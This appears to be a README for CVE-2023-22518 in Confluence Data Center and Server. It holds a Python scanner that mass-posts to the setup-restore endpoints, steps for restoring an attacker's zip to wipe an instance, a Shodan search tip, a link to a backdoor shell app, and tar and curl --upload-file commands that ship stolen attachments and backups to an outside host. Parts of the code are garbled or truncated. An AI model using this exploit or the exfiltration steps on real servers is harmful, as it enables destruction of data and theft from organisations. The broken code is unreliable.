# CVE-2023-22518
Improper Authorization Vulnerability in Confluence Data Center and Server.

Atlassian has alerted administrators about a critical vulnerability in Confluence. Exploiting this issue can lead to data loss, so developers urge you to install patches as soon as possible.

It is noted that the vulnerability cannot be used for data leakage, and it does not affect Atlassian Cloud sites accessed through the domain.

| Product              | Affected Versions                | Fixed Versions           |
| Confluence Data Center | All versions are affected      | 7.19.16 or later         |
| Confluence Server      |                                | 8.3.4 or later          |
|                       |                                 | 8.4.4 or later          |
|                       |                                 | 8.5.3 or later          |
|                       |                                 | 8.6.1 or later          |

## Exploiting
Class: Improper authorization

CWE: [CWE-285 / CWE-266](

ATT&CK: [T1548.002](

## Known attack vectors ๐Ÿ”ฅ



/server-info.action [Community Forum](

## A simple example of vulnerability testing in Python

import requests
import random
import string
import argparse
import urllib3


def random_string(length=10):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(length))

def post_setup_restore(baseurl):
    paths = ["/json/setup-restore.action", "/json/setup-restore-local.action", "/json/setup-restore-progress.action", "/server-info.action"]
    for path in paths:
        url = f"{baseurl.rstrip('/')}{path}"

        headers = {
            "X-Atlassian-Token": "no-check",
            "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryT3yekvo0rGaL9QR7"

        rand_str = random_string()
        data = (
            "Content-Disposition: form-data; name=\"buildIndex\"\r\n\r\n"
            f"Content-Disposition: form-data; name=\"file\";filename=\"{rand_str}.zip\"\r\n\r\n"
            "Content-Disposition: form-data; name=\"edit\"\r\n\r\n"
            "Upload and import\r\n"

            response =, headers=headers, data=data.encode('utf-8'), timeout=10, verify=False)

            if (response.status_code == 200 and
                'The zip file did not contain an entry' in response.text and 
                '' in response.text):
                print(f"[+] Vulnerable to CVE-2023-22518 on host {url}!")
                print(f"[-] Not vulnerable to CVE-2023-22518 for host {url}.")
        except requests.RequestException as e:
            print(f"[*] Error connecting to {url}. Error: {e}")

def main():
    parser = argparse.ArgumentParser(description="Post setup restore script")
    parser.add_argument('--url', help='The URL to target', required=False)
    parser.add_argument('--file', help='Filename containing a list of URLs', required=False)
    args = parser.parse_args()

    if args.url:
    elif args.file:
        with open(args.file, 'r') as f:
            for line in f:
                url = line.strip()
                if url:
        print("You must provide either --url or --file argument.")

if __name__ == "__main__":

## Use exploit ๐Ÿ”ฅ

Enter the URL: http://REDACTED:8090/json/setup-restore.action?synchronous=true
Enter the path to the .zip file: /path/

## Bonus ๐Ÿ”ฅ

Shodan search:


[Confluence Backdoor Shell App](

When resetting Confluence using this vulnerability, the directory %CONFLUENCE_HOME%/attachments remains full of files, potentially numbering in the thousands. Extracting them all is quite straightforward, and their extensions can be determined using the Linux file command. For example:
file /var/lib/confluence/attachments/v4/191/28/77273124/77273124.1
/var/lib/confluence/attachments/v4/191/28/77273124/77273124.1: PNG image data, 442 x 170, 8-bit/color RGBA, non-interlaced


file /var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1
/var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1: PNG image data, 1250 x 674, 8-bit/color RGBA, non-interlaced

Example of how to easily archive a directory and extract the archive:
tar -czvf /var/atlassian/application-data/confluence/attachments_backup.tar.gz /var/atlassian/application-data/confluence/attachments
curl --upload-file /var/atlassian/application-data/attachments_backup.tar.gz***********/attachments_backup.tar.gz


curl --upload-file /var/atlassian/application-data/confluence/backups/***********/
[Novel backdoor persists even after critical Confluence vulnerability is patched](


[More useful information](